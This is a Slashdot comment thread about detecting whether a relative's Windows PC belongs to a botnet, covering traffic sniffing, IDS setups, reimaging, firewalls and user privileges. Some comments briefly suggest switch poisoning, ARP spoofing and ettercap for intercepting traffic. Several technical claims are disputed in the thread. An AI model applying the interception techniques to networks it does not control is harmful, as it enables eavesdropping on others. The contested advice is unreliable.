      Any insufficiently advanced magic is indistinguishable from technology.
    101. Re:Well the only fool proof way... by GuruBuckaroo · · Score: 1

      While I use FreeBSD for this trick, it can probably be done with Linux as well.

      Throw Snort on the machine, and when you're ready to start scanning traffic, remove the IP assignment to the NIC. Snort will throw it into promiscuous mode, so it will examine all traffic coming in - but it won't have an address, meaning it's essentially invulnerable to attack.

      At work, my dedicated IDS system has two nics - one on the "Public" internet, with no IP, and one behind the firewall with an IP that I use to update definitions & such. Pretty secure way of monitoring traffic on the nic that has no IP.

      --
      Poor means hoping the toothache goes away.
    102. Re:Well the only fool proof way... by rantingkitten · · Score: 1

      I am not really assuming that and I agree that the only really sure way is to do it with an unaffected box, but the guy said his father was in India. Presumably, he is not anywhere near his father, else he wouldn't have bothered mentioning that. Ergo, concordantly, vis-a-vis, and some other fancy phrases, sticking a Linux box between things isn't really an option for him, and his father is admittedly not technical so that's not something he could realistically explain how to do over the phone.

      For your average doofus botnet, tcpdump or Wireshark running on the local machine will probably be okay, and realistically it doesn't sound like this guy has any other options. The only other thing he could try to do is reflash the router with some Linux firmware and attempt to use the console, but since he's doing this all remotely, that risks leaving his father high and dry if something goes wrong.

      --
      mirrorshades radio -- darkwave, industrial, futurepop, ebm.
    103. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      u can use Wireshark if u want......

    104. Re:Well the only fool proof way... by Puff_Of_Hot_Air · · Score: 1

      Never heard of wireshark?

    105. Re:Well the only fool proof way... by sofar · · Score: 1

      I'm lucky to have worked with and for Intel's ethernet linux driver group. All of intel's gigabit ethernet is autosensing... it was a tough ordeal actually finding a crossover cable :)

    106. Re:Well the only fool proof way... by gblfxt · · Score: 0

      if you got a switch, you could just poison it, and it would act as a hub.

    107. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Wireshark is a protocol analyzer. The command-line version is tshark.

      Tcpdump is lighter weight, in general, and is quite useful. In general, I only bother firing up Wireshark when I'm actually analyzing protocols. If I just want to see what traffic is going where, or even whether I'm getting weird options/flags, I just use tcpdump.

      Tcpdump is also fine for simple troubleshooting of plaintext protocols or capturing packets for later analysis with Wireshark.

    108. Re:Well the only fool proof way... by g0at · · Score: 1

      Why are you guys all capitalizing "hub"? It's like noobs who write "MAC" when talking about modern Apple computers.

      -ben

    109. Re:Well the only fool proof way... by ls671 · · Score: 1

      I had a Linux root kit in 1998 that did just that, I remember it modified netstat, ps. top and others. Not sure about tcpdump although. it is common in any "good" rootkit ;-))

      --
      Everything I write is lies, read between the lines.
    110. Re:Well the only fool proof way... by Phiu-x · · Score: 2, Informative

      http://ettercap.sourceforge.net/ Can sniff switched traffic.

      --
      This is a stolen sig.
    111. Re:Well the only fool proof way... by Malc · · Score: 0

      You can't delete files because they're in use. Otherwise, if you're admin, there are no files you can't delete - take ownership and reset the ACLs, then you can do what you like.

    112. Re:Well the only fool proof way... by ElAsturiano · · Score: 1

      Even simpler!! Look for the Microsoft Logo during boot.
      If you see it, you can safely assume your machine is a zombie.

      --
      http://frag-legion.uk.net/wiibar/mario-57327995510 90669.png
    113. Re:Well the only fool proof way... by u38cg · · Score: 4, Funny
      My foolproof method:
      1. Is it running Windows?
      2. Is it connected to the Internet?

      If the answer to both your questions is "Yes", then you are most likely part of a botnet. This advice is free of charge.

      --
      [FUCK BETA]
    114. Re:Well the only fool proof way... by sofar · · Score: 1

      Hey, I worked for years for a manufacturer of MAC hardware, I actually maintained several Linux Ethernet kernel drivers for a few years. It's not polite to call people who have a clue "noobs" just because they missed the period at the end of the sentence. I'm not even a native English speaker. It's slashdot, for crying out loud.

    115. Re:Well the only fool proof way... by msi · · Score: 1

      I am lucky to have read the specs on gigabit ethernet. All gigabit ethernet is auto sensing.

    116. Re:Well the only fool proof way... by Lennie · · Score: 1

      If it's a bridge, what MAC-address changed ? The MAC-address of the gateway is stil the same as before. Bridge is not proxy-arp.

      --
      New things are always on the horizon
    117. Re:Well the only fool proof way... by msormune · · Score: 1

      ...or you could watch the traffic directly from the gateway's (cable modem, asdl modem whatever) dump as they often have one. And I'm pretty sure the experts to that.

    118. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      I did exactly this, but I ran etherape image.

      Right away I saw the infected windows machine sending traffic on a strange port to a strange IP (home DSL connection).

      Another way to to build a Bart PE disk with antivirus software and do an offline scan of the filesystem.

    119. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0, Interesting

      Sorry, but this sounds like BS.

      Not only have you not provided any info on what trojan it was, what the files were, where the files were but why would it bother writing it to a file? It would be much more trivial to simply exclude output in netstat for the specific process ID of the trojan. Writing the netstat output to a file, erasing the entries, then modifying/replacing the netstat command to read from a file is non-sensical, at worst you'd just do it all in memory, at best you'd just do as I mentioned - skip all that bs and just do a netstat output excluding data from the required PID(s).

      The parent is right, there are really no mainstream threats in the field right now that do this. You get features like this in Linux rootkits and that sort of thing, but run of the mill Windows trojans? No, it doesn't happen. Even if by some chance you did encounter this extremely non-sensically developer trojan then it's still not something mainstream and will hence only be affecting an absolutely negligible minority of users.

      Credentials: I've spent the last 7 years manually examining, reverse engineering and clearing viruses, trojans and rootkits from Windows, Linux and Mac machines for a well known AV firm.

    120. Re:Well the only fool proof way... by ilikejam · · Score: 1

      What does HUB stand for?

      --
      C-x C-s C-x k
    121. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Geez, what an obvious sales pitch......

    122. Re:Well the only fool proof way... by shnull · · Score: 1

      format it ... reinstall clean copy ... first five minutes you can be 'pretty' sure its not part of a botnet so you have five minutes to secure it haha

      --
      beware he who denies you access to information for in his mind, he already deems himself to be your master (SMAC-ish)
    123. Re:Well the only fool proof way... by merlinokos · · Score: 1

      Also, some switches support spanning ports, which will allow you to sniff the traffic on another port. Your typical home network dumb switch probably doesn't support this, but if you have temporary access to a higher end switch, it makes such tasks much easier. You can pick up older switches that support this fairly cheap on Ebay, although you probably won't want to spend the money for a one-time usage.

      The point of using a hub instead of a switch is that hubs are dumb. They broadcast all traffic to all ports and rely on the attached equipment to filter out what they don't need. Sophisticated switches aren't necessary. A $10 hub will do the same job, be portable, and easily replaced.

    124. Re:Well the only fool proof way... by selven · · Score: 3, Funny

      Mod parent up.

    125. Re:Well the only fool proof way... by Lord+Bitman · · Score: 3, Interesting

      Indeed. I don't know why security companies don't aggressively push this kind of product for home use- sounds like a win-win for them: sell the consumer an expensive physical box /and/ charge them for monthly firmware updates. Special bonus: An external box would actually /work/ (and with the aid of a USB connection, it could boot into its own environment to do scans) Just for fun, you could throw in a "real" firewall.

      So then you'd provide:
        - Network monitoring for statistical "suspicious packet" analysis
        - Completely detached scanning which doesn't just nicely ask an infected system whether it's infected or not
        - Hardware firewall
        - A solution which potentially /works/, rather than one which is guaranteed not to

      Yet everything I've ever seen pushed to home users has been a software-only package, or just a firewall. When will I be able to tell my mom to "go buy a Norton ActuallyWorX box and plug it between your computer and router"?

      --
      -- 'The' Lord and Master Bitman On High, Master Of All
    126. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      They have cheap smart switches for this. Just configure the switch to monitor a port and it will.

    127. Re:Well the only fool proof way... by easyTree · · Score: 1

      Yah, 'cause there's no way I could just be recommending it as a favour to the guy who asked the question. Way to catch me out dude.

      +1 no-flies-on-you

    128. Re:Well the only fool proof way... by geminidomino · · Score: 2, Interesting

      Yah, 'cause there's no way I could just be recommending it as a favour to the guy who asked the question. Way to catch me out dude.

      +1 no-flies-on-you

      Considering that others have already pointed out that it's a "firewall" you run as software on the computer you're trying to protect (tl;dr version: snake oil), no, we're all quite certain you weren't doing him any favors.

    129. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      So the security expert suggests using a suspected-compromised computer to determine if said computer is indeed compromised?

      Want to buy a bridge? (Since you made it clear you don't want to buy a hub!)

    130. Re:Well the only fool proof way... by easyTree · · Score: 1

      I believe I hinted that there was much more to it in my original post, which for some reason is moderated troll :-(

      If he doesn't want to check it out that's fine. I'm not clear why it's necessary for the trolls to come out in force and tell me that I'm either (a) an idiot/mistaken and/or (b) a shill for Agnitum.

      No doubt you have your reasons ^_^

    131. Re:Well the only fool proof way... by alphax45 · · Score: 1

      But no one can talk to a horse of course

      --
      K Man
    132. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      why not? I got a linux pc rooted via a php flaw and I noticed as soon as logged in that the output from system commands were different from the usual. And while working on a windows machine I detected a SirCam infection just by the patterns in the slowness of the pc. Most of the time the best place to look for a illness is on the patients, not on their exams.

    133. Re:Well the only fool proof way... by geminidomino · · Score: 1

      Your original post dripped with marketing-slime, and it doesn't matter what "more" there might be to it, it's a firewall (access control) that runs on the computer its controlling access to (which means the access is already there). It's a flawed concept not unlike wearing a bulletproof vest on the inside, and those pointing this out are not trolls, you ARE either a) mistaken/an idiot or b) shilling for Agnitum, because the given is that you are NOT correct in your suggestion that it is a good product.

    134. Re:Well the only fool proof way... by easyTree · · Score: 1

      As it happens, you're mistaken on all counts but there's no way you can discover the accuracy of my claims re. Outpost other than:
        * going to Agnitum's site and reading through the feature list and/or
        * forums and/or
        * spend a few years using it

      to discover for yourself why I'm correct.

      But you're not going to do this, are you? Far easier to call troll from a position of ignorance.

      Have a nice day, trolls.

    135. Re:Well the only fool proof way... by Anonymous Coward · · Score: 1, Interesting

      Ethernet was NOT designed to work with/as a "passive hub". Sure, crossover cables work great, but as someone who tried splitting things up like you suggest as a 10 year old without money to buy a hub, I can tell you for a fact that it doesn't work. NICs (or at least all the NICs I had at the time) would start freaking out that they got their own traffic back on their receive pins.

    136. Re:Well the only fool proof way... by LoonyMike · · Score: 1

      Also mod parent up, nice pun.

    137. Re:Well the only fool proof way... by Anonymous Coward · · Score: 1, Interesting

      Aside from the fact that PSTN is meant to be in a whole, unbroken link, this could possibly work, maybe. If you didn't mind blowing cards. A lot of cards. POE is not necessarily supported by a *large* amount of endpoints on the market.

      Mixing 5vdc and 48vdc, plus teh ring signal (which btw, is insane amounts of noisy from every provider I've ever seen)

      Contrary to this particular *idea*, DO NOT PLUG A TELEPHONE INTO A SWITCH/HUB/ROUTER/COMPUTERS' ETHERNET. ESPECIALLY NOT YOUR MAIN FEED FROM THE POP!

    138. Re:Well the only fool proof way... by BobMcD · · Score: 2, Insightful

      You should even disconnect than machine from the network when not in use.

      Or add a read-only end to your patch cable - http://www.ironcomet.com/sniffer.html

      I keep one in my black bag. Allows me to supervise any network without anyone knowing I'm even there, because it is impossible (electrically) for my NIC to respond...

      With such wiring, you're effectively immune to Virii and the like, unless they're some sort of magical single-packet thing...

    139. Re:Well the only fool proof way... by dkleinsc · · Score: 1

      You left out "Is it on?", which thankfully is still a requirement as well.

      --
      I am officially gone from /. Long live http://www.soylentnews.com/
    140. Re:Well the only fool proof way... by hesaigo999ca · · Score: 1

      I do the same thing from an image of my install back with all my softwares, so that an image can be reused in under 20 minutes, and you are good to go, once a month even is good, with or without traces of spyware or trojans etc... just to be safe.

      I also have a copy of an image for a client of mine that regularly gets viruses, he pays me for the reinstall each time, although it takes me 20min. I charge him my min. 1 hour.

      The son in this case could just avoid alot of heartache for himself and his dad, and just clone an image after fresh install, and re use that each time the father says something is up, as well a config file can be backed up for the router (linksis) so that you hard reset and reuse a saved config file to re enable all the configured stuff on the router, except change to a new admin password!

    141. Re:Well the only fool proof way... by mftb · · Score: 1

      Or just give him a loonicks box with locked-down repos and no privelages to do anything. But that would be mean.

    142. Re:Well the only fool proof way... by PitaBred · · Score: 1

      Last time I checked, "hub" is not an acronym. Why in the hell does everyone keep capitalizing it?

    143. Re:Well the only fool proof way... by JWSmythe · · Score: 1

          I've seen it quite a bit in Linux rootkits, but I can't say that I've seen it in Windows kits.

          That's probably because Linux people are more aware of the tools they can use, and know that if they don't patch them, the kit will be detected.

          Even in Linux, sometimes the kits are misapplied (wrong version, corrupted files, etc) so frequently the rooted machine has problems running standard tools. The other big ones I've seen patched are ls and find, so you can't even see their files and directories.

          For Windows, it's easy enough to set the files as hidden or system, and they won't show (normally) in the Windows file explorer. Most users won't go looking into directories much beyond their own desktop, so it's not really necessary to do much.

          In Linux, I tended to keep a nice set of statically compiled binaries (built on a clean machine!) laying around, so I could drop them into a directory which was first in the path (say ~/safe_bins), which would make an "invisible" intrusion stand out, where without it it would hide. In an ideal world, a compromised machine would be wiped and rebuilt, but that's not always an option, especially if you're dealing with a client, and the compromised server is "essential" and they don't even want it shut down for 5 minutes, much less for hours while you reinstall everything.

          In Windows, you'd spend a day just reinstalling, updating service packs, reinstalling their applications, and then putting their data back in place.

      --
      Serious? Seriousness is well above my pay grade.
    144. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      ever here of sonic wall ?

      http://www.sonicwall.com/us/products/TZ_210.html

    145. Re:Well the only fool proof way... by ArsonSmith · · Score: 1

      I'm lucky enough to read slashdot. so now I know these things.

      --
      Paying taxes to buy civilization is like paying a hooker to buy love.
    146. Re:Well the only fool proof way... by WuphonsReach · · Score: 1

      Most modern switches allow you to setup one port as a monitoring port. Which means that all packets get mirrored to that port so that a NIC in promiscuous mode will be able to inspect the packets.

      --
      Wolde you bothe eate your cake, and have your cake?
    147. Re:Well the only fool proof way... by the_B0fh · · Score: 1

      Oh god, are people still selling a "stealth cable"???? :)

    148. Re:Well the only fool proof way... by sofar · · Score: 1

      That doesn't mean that it works properly on every ethernet card. Cheap vendors are notorious for omitting parts of the spec. Oops.

    149. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Still, the only way to improve is to realize you've made a mistake and learn from it. (I don't mean this in a asshole-ish way)

    150. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      only somebody who knows nothing about computers or networks would say that. just use common sense. it can happen to any OS.

    151. Re:Well the only fool proof way... by DRAGONWEEZEL · · Score: 1

      My "nic" is allways in promiscuous mode.

      Sorry, I had to. I couldn't not do it. My fingers were forced by underwear gnomes.

      --
      How much is your data worth? Back it up now.
    152. Re:Well the only fool proof way... by smackmywhammy · · Score: 3, Informative

      Insightful? Really?

      Ethernet using cat5 cabling was specifically designed such that the cheapest hubs would just be RJ45 jacks wired together passively. So one could make a "hub cable" in theory.

      Citation please. Cat5 maybe all on it's own hijacked for phone purposes, maybe. I've been installing ethernet and phones for 20 years, and from what I know of Ethernet over twisted pair, there is no electrical provision for this anywhere.

      Interestingly another instructable linked to the one he showed, was about how to use 1 cat5 cable to every jack in the house to support both phone and Ethernet data.

      This person was apparently unaware of the fact that a phone cords 6P4C or 6P2C cable will happily fit into the wider 8P jack. (That is to say that phone cable will plug into Ethernet jacks by design).

      Again, citation please. Every Ethernet jack I've ever used gets the 1-8 pins bent or broken when some fool does this. You can put a one inch round peg in a one inch square hole, but to say that they mate correctly is a bit misleading.

      Further the Ethernet wiring standard deliberately has pins 3-6 (which correspond to pins 2-5 in a phone style jack, which are the 4 that are normally connected in a phone jack) connected identically to standard phone cord. Further Pins 4 and 5 are deliberately unused in 100Mbs Ethernet, which is the one pair necessary for a single phone line.

      Thus if you have a house wired for Ethernet but not phone, adding support for phones to all the jacks is as simple as using Ethernet switches that connect pin 4 of all jacks together and pin 5 of all jacks together, and then plug a pone line into one of the jacks in the switch. (I would actually be surprised if there were not Ethernet switches specially designed for that).

      One more time! Citation please. I don't recall T568A or T568B mentioning anything about cohabitation of analog phone and data in any one cable sheath. I'd hazard a guess that the reason you don't know about any Ethernet switches off the top of your head that merge analog phone and data is because there probably aren't any. Find just one, please, even just one made 20 years ago. Another SWAG about why you won't find any: 100V ring voltage would probably smoke most of the components intended for voltages lower than 5V. Just because you can do something doesn't mean that it was intended by the design engineers that created a product.

    153. Re:Well the only fool proof way... by BobMcD · · Score: 2, Informative

      Um, the link is instructions. Not sales.

    154. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Also, make sure you don't run any analysis as root. Use tcpdump without -v to do a plain dump into a file, then dissect it using a less privileged user or by booting a live CD.

      There have been and always will be buffer overflows in several modules responsible for analysing obscure protocols. Feeding live traffic into a full-blown analyser like wireshark or even tcpdump -v is about as clever as connecting an unpatched Windows directly to the Internet.

    155. Re:Well the only fool proof way... by rcamans · · Score: 1

      Properly working Windows box? That is an oxymoron.
      I take it you mean a box running Windoz the way MS wants it to?

      --
      wake up and hold your nose
    156. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      There is a well known password stealing trojan that refuses to run if it detects wireshark, possibly any pcap filter on windows.

    157. Re:Well the only fool proof way... by Tim4444 · · Score: 1

      and if they're paid to use another name? after all a horse by any other name makes roses

    158. Re:Well the only fool proof way... by Lord+Bitman · · Score: 1

      I have not, and that's pretty much the point. I am aware that products such as this exist, but I know of none that are targeted at home users ("my mom"), rather than business users ("my business").

      I'm probably missing something here, but I assume that major anti-virus companies would be able to benefit from the sale of such products. For example, being able to claim that their product is effective, being able to note that it will not slow down your PC (since it runs on separate hardware), etc.

      --
      -- 'The' Lord and Master Bitman On High, Master Of All
    159. Re:Well the only fool proof way... by schon · · Score: 1

      No, there's such a thing as applying logic, which was already done.

      Geminidomino already posted logic - and it's quite good. You refused to refute it, while making grandiose claims which ignore it altogether.

      Please either refute his logic (that you can't trust a machine that's been compromised), or STFU.

    160. Re:Well the only fool proof way... by easyTree · · Score: 1

      Ok, here's some logic if I must spell it out...

      A software security device / linux firewall running on a dedicated machine is a piece of software. Within it is an implicit state machine which ensures that it behaves correctly given the many forms of external attack.

      A similar (although slightly different) implicit state machine may be implemented within another piece of software, acting as a firewall which defends the host machine itself.

      There's nothing inherent about having the firewall software on a stand-alone machine which makes it more 'secure'. In neither case can you be 100% sure that the software itself and host-OS are completely opaque to attacks.

      Having a well-designed software firewall (plus many additional features making this more than a firewall) running on the machine you wish to protect gives you an additional level of security that you would otherwise not have.

      This is so because the software firewall running on the machine-to-be-protected has access to information which is not transmitted and therefore unavailable to stand-alone firewalls.

      This information may be used to specify access-control rules which are therefore more fine-grained than those available to a stand-alone firewall.

      e.g. if an outgoing HTTP connection is made, the local software firewall is aware whether it's trojan.exe which is making the request or opera.exe

      In addition, the software firewall (security product) is able to apply rules to control the behaviour of applications falling in a variety of positions within the spectrum of trust.

      For example (from Outpost):
        * window hooking
        * dde communication
        * application window control
        * ole automation control
        * process memory injection
        * process termination
        * low-level network access
        * driver load
        * direct disk access
        * dns api request
        * network-enabled application launch
        * keyboard logging
        * executable change
        etc..

      Even with a perfect set of rules and engine to apply them, rules covering any possible attack vector, the computer would still be subject to attack if the software firewall itself could be compromised. I'm aware that Outpost takes various steps to make itself resistant to such attacks, thus increasing one's certainty of immunity to attack.

      Perhaps you could enlighten me and anyone else reading as to the flaw in my reasoning?

    161. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      ARP Spoofing can work well for this also, if the rest of the network is not vital or you are careful with picking your targets.

    162. Re:Well the only fool proof way... by jon3k · · Score: 1

      I build myself these little 4 port ethernet taps. All you need is a couple things from your local electrical supply shop and about 5 free minutes. http://www.sun.com/bigadmin/content/submitted/passive_ethernet_tap.html

    163. Re:Well the only fool proof way... by xmvince · · Score: 1

      Probably DNS shit i get high # ports for DNS being blocked all the time by my router.. emailed my ISP months ago and they still can't respond as to what this is. dumb road runner

    164. Re:Well the only fool proof way... by davidsyes · · Score: 1

      Depends on if the fatherboard was bored (by) the mother, or the motherboard was bored by the mother...

      Somehow, we get daughterboards and daughter cards. So far, i haven't seen son-boards, or son cards...

      --
      Previously: "Linux... Toward the Sunrise..." Now: "Linux... Toward the-- No, now, part of Every Sunrise"
    165. Re:Well the only fool proof way... by dublin · · Score: 1

      the idea of running a 48VDC pair that also uses a 100VAC ring signal right beside your ethernet pairs is scary

      The 48V *DC* loop induces no noise at all, and in fact, since the positive side is at ground potential, it may actually help a tiny bit. 802.3af Power-over-Ethernet uses this exact same voltage, but puts it over either the "spare" pairs (there aren't any in GigE), or on the data pairs themselves - all PoE PD (powered device) implementations must support both. BTW, it's Ground and -48VDC so that the telco can put a sacrificial anode ground rod somewhere to eliminate corrosion problems - this isn't new, it's been that way for well over a century.)

      Finally, the telco ring signal is a nominal 90VDC square wave, and I've designed wiring architectures for entire building campuses that used phone and Ethernet on pairs in the same jacket to avoid the huge cost of running new cable. I can honestly say I don't think I've ever seen the ring signal cause any significant data problems, unless there's something else wrong, too. Sure, it's best to separate voice and data if you can (mainly because of termination issues), but they work just fine together. (The worst problem is that the sides of the RJ-11 can sometimes spring the contacts for pins 1/2 and 7/8.)

      Twisted Pair Ethernet is *incredibly* resilient - you actually *can* run it over rusty barbed wire - someone (SynOptics, maybe?) showed a cross-booth rusty barbed wire TP Ethernet link at Interop back in '93 or '94, IIRC. ('Course, that was back in the 10 Mbps days, with the old Manchester encoding, so it's about bulletproof...) Really, it's the same with any digital signal - I always laugh at people buying "Monster"-style HDMI cables - hell, it's a square wave: it either gets there or it doesn't, and expensive cabling will only make a difference if something is horribly wrong somewhere else!

      In any case, if you use quality punchdown blocks and are careful not to blow the length or the dB budget for connections and terminations, it's hard to build an TP Enet that *won't * work, whether there are voice pairs in the same jacket or not...

      P.S.: You're not really all that likely to feel the 48V unless you lick the wires, although it is enough to spark. Holding the wires when a ring signal comes through will get your attention, but that's true for any phone wiring...

      --
      "The future's good and the present is nothing to sneeze at." - Roblimo's last ./ post
    166. Re:Well the only fool proof way... by dublin · · Score: 1

      I'm pretty sure the older version of 568A (the standard itself, NOT to be confused with the T568A or T568B termination pair assignments) did mention this.

      As mentioned in my post above, it's not optimal, but if you've already got wire in the walls and it's really hard/expensive to run new cable, this used to make sense. (It makes a lot less sense now with today's higher speeds, but is still applicable to many homes like mine, where running new wires involves lots of hole-cutting and wall and ceiling patching/painting, making it prohibitively expensive.)

      I've never seen network electronics designed to work with such a setup, and as mentioned above, it really makes termination a bear, since you have to strip out the voice pairs and take them to a different set of punchdown blocks.

      Although you *can* plug an RJ-11 into an RJ-45, every time I've ever seen this done, the outlets are terminated with two jacks: one RJ-45 (four-wires for Ethernet), and one RJ-11 for the middle voice pair.

      It all works just fine, but there are good reasons you don't see it as a normative practice.

      --
      "The future's good and the present is nothing to sneeze at." - Roblimo's last ./ post
    167. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      At Intel you say? I would have though you would be man enough to splice one with your teeth :)

      evo

    168. Re:Well the only fool proof way... by budgenator · · Score: 1

      Finally, the telco ring signal is a nominal 90VDC square wave,

      Square waves are inherently noisy, the require theoretically infinite bandwidth, and they tell us to keep cat5e cable 3 feet from a florescent light due to noise and to cross power lines at right angles.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    169. Re:Well the only fool proof way... by Anonymous Coward · · Score: 0

      Bullhockey.
      Ran 50 feet of conjoined cat5, leading straight to att neighborhood switch, for 2 years. Not saying 'ring' wont disrupt network traffic but, having practical experience getting zapped with 'ring' signal as a kid, it's nowhere near as potent now. In fact, the ring synth method has changed and it's more sinusoidal 80 volts. thus less likely to be inducto/capacitivley bridged across. That's why 'ringer load' spec has changed. Less power than 'the old days'

    170. Re:Well the only fool proof way... by Tacvek · · Score: 1

      True, the RJ11 plugs being used with RJ45 jacks that are setup as 8P8C can cause problems if the jacks are not very well made. But the fact remains that I have seen professional phone installations that used RJ45 style jacks for the phone lines. (I believe they may only have had the center 2 or 4 connectors present.) This was known to cause confusion as the only immediately obvious difference between the the Ethernet and phone jacks were the jack colors.

      As for the passive hubs I mentioned, perhaps I was a little misleading to say "wire together passively" as they do tend to use some other passive elements like diodes to prevent the output of a NIC from being looped back to itself. Further, this may be restricted to half duplex communications too.

      --
      Stylish sheet to fix many problems in Slashdot's D3: https://gist.github.com/801524
  2. Proof of Infection? Clean Reinstall by eldavojohn · · Score: 5, Informative

    As you would expect, both of the Windows computers got 'slow', and the desktop stopped connecting to the internet completely for some reason. As I logged in remotely to 'fix' things ...

    Quick question, how did you log into his desktop remotely if it "stopped connecting to the internet completely for some reason?"

    If all you did was reset the hosts file, it will be back sometime. Somewhere, probably in multiple places on that hard drive, is an executable waiting to be run. It's probably infected some inane looking routine Windows system file that occasionally runs and when that happens your host file will magically change again.

    I could recommend you do a netstat but what's the point? Any botnet today would know how to elude that or run as part of a system routine. If the bot is serious enough, your best bet might be to save the data and just do a routine re-install. You know on my parent's WinXP machine, I do that everytime I'm home for christmas. Then I patch it as far as I can over their 56k modem.

    Odds are high your dad's machine is still infected and I would also suspect your machine as being potentially compromised if you connected using Windows remote desktop. Call me overly cautious but I don't take chances with Windows.

    You can run all the programs you want (Bothunter, Symantic, AVG, AdAware, etc.) but in the end there's no guarantee although BotHunter's probably your best bet.

    The best thing to do is educate your dad. If he has a valid copy of Windows, spend time with him to show him how to go to IE and click Tools -> Update Windows then select all updates. Remind him periodically when you talk to him--especially if he does any banking or commerce online!

    --
    My work here is dung.
  3. Botnet or not... by ajcoon · · Score: 0, Troll

    They're likely FUBAR. Burn your dad a Windows CD...

  4. Simple... by Anonymous Coward · · Score: 0, Troll

    If your OS is OSX, linux, or some other variant of UNIX... you're not part of a botnet.
    If your OS is Windows... you're hosed.

  5. idiot lights by v1 · · Score: 1, Informative

    look at the activity lights on the whatever you have for networking equipment. If the activity lights go ape after the system comes up, and stays that way, back up what's safe and reload it.

    --
    I work for the Department of Redundancy Department.
    1. Re:idiot lights by Anonymous Coward · · Score: 0

      I like that you tell him to watch the "idiot lights", completely ignoring the fact that he's doing this remotely. Who's the idiot?

    2. Re:idiot lights by Anonymous Coward · · Score: 0

      my humor detection device is on the fritz today, so please tell me.. are you joking?

    3. Re:idiot lights by Barny · · Score: 1

      Well then you have the other computer with a webcam running skype and watch the lights with that...

      Wait, what if the botnet on the other computer takes this into account and edits the images on the fly as they come from the webcam!

      Forget him, he is done for! /me dons his tinfoil hat

      THE END IS NIGH!

      Seriously though, you completely lost me as soon as you said "not computer literate", nothing annoys a tech more than hearing that phrase (we assume anyone we are talking to isn't).

      --
      ...
      /me sighs
  6. Assume it is .. by Brigadier · · Score: 5, Interesting

    Overseeing a small office lan, I've come to the conclusion that you will be infected whether you like to or not. Regardless of how much you threaten users. I've resorted to using an drive image (paragon) saved on a drive partition which saves the system in a uninfected state. As soon as a user goes 'uh ooh' or complains of slowness I restore the image (keep in mind data is stored on a server which is backed up and scanned on which no apps are allowed to run). I also run a combination of ccleaner, spybot s&d and windows defender.

    In addition I check the network once a week for mail or ftp sockets ( evidence there is a bot net at work). So far this has been the easiest way to stay on top.

    1. Re:Assume it is .. by realmolo · · Score: 4, Interesting

      You're doing it wrong.

      You need an IDS/IPS system like a Fortigate or ASA that scans all incoming/outgoing packets for viruses/spyware/whatever, and blocks them before they get to the computer (as well as performing standard firewall duties like NAT and traffic filtering). You need Websense Express (or something similar) to block access to malicious websites (and inappropriate websites, which are often malicious anyway). You need to take away the Local Administrator rights from every user on the network, and use Group Policy to a) lock down Internet Explorer, and b) prevent them from installing any software and c)making any system changes.

      This is all easy to do. Why aren't you doing it? For a small office, it wouldn't even be expensive.

    2. Re:Assume it is .. by whoever57 · · Score: 2, Interesting

      In addition I check the network once a week for mail or ftp sockets ( evidence there is a bot net at work). So far this has been the easiest way to stay on top.

      I would also block outgoing port 25 and then ask the users what smtp servers they use and whitelist those.

      Getting the users to run as a non-privileged user will make clean-up much easier. Set their normal login to be a low-privilege user (and add network configuration so they can configure wireless networks), then give them their own administrator login (another user with admin rights) and show them how to login as their normal username and use "run-as". That way they can do everything they would like with a much lower risk of an infection that can't be handled.

      --
      The real "Libtards" are the Libertarians!
    3. Re:Assume it is .. by gad_zuki! · · Score: 2, Insightful

      Youre doing it wrong. Set your users to be users, not administrators. Give them permissions to exactly what they need and whatever special permission the applications they run need. Sure, it takes time at first, but once you figure it out then you're good for the rest.

      Or you can take the lazy man's approach and set them as power users, which is almost like an administrator, but selectively remove modify/write permission from c:\windows, c:\program files, and other critical areas. Less secure but a bazillion more times secure than just running as admin.

    4. Re:Assume it is .. by Anonymous Coward · · Score: 2, Funny

      and show them how to login as their normal username and use "run-as".

      Awwww, how cute! He's trying to teach a user something!

      Let's watch...

    5. Re:Assume it is .. by Anonymous Coward · · Score: 0

      Youre doing it wrong. Set your users to be users, not administrators. Give them permissions to exactly what they need and whatever special permission the applications they run need. Sure, it takes time at first, but once you figure it out then you're good for the rest.

      Or you can take the lazy man's approach and set them as power users, which is almost like an administrator, but selectively remove modify/write permission from c:\windows, c:\program files, and other critical areas. Less secure but a bazillion more times secure than just running as admin.

      yeah.. because malware can do nothing wrong with user level-only permissions.. It doesn't really make much difference to modern malware. This Unix user level fetish is mostly applicable in multiuser system for the purpose of making it easier to wipe and reinstall _one_ infected user without taking down the whole system and other users.

    6. Re:Assume it is .. by Brigadier · · Score: 4, Interesting

      All great points, here are mine.

      1.) We are an architecture office which runs AutoCAD problem is this requires Power User group membership in order to run. (also on windows even without admin privs malicious software can infect.

      2.) Unfortunately any expense is an expense, (economy doesn't help.) This is why you will note all my network software is freeware.

      3.) My most malicious user is the owner of the company, who insist on having admin privies ( he equates user authority to company hierarchy) So he constantly does stuff like installs go to my pc, and leaves his system up and logged in.

      unfortunately I don't live in your well funded and taken seriously IT world.

    7. Re:Assume it is .. by mlts · · Score: 1

      If the machines are being used as generic hosts without any data saved locally, I'd consider the use of a program like DeepFreeze. This way, even if a user has admin authority on a box, should it get infected, a reboot will scrape all that junk off and roll back to the original frozen configuration. Even better is if the user has no admin authority, because this prevents malware that infects the user's profile from touching LocalSystem level processes.

      I have used utilities that preserve the system state in lab environments for years. And they do pay for themselves when you can just reboot a machine to wipe it of crap, as opposed to a complete manual reimaging.

      Caveat: A utility like this is not intended for people's workstations they customize and have some responsibility for. Instead, its for workstations that are mainly used as glorified terminals with no permanent persistant storage, or in environments where ensuring compliance is far more important than allowing users to keep persistant data on their local boxes.

    8. Re:Assume it is .. by rsborg · · Score: 2, Insightful

      This is all easy to do. Why aren't you doing it? For a small office, it wouldn't even be expensive.

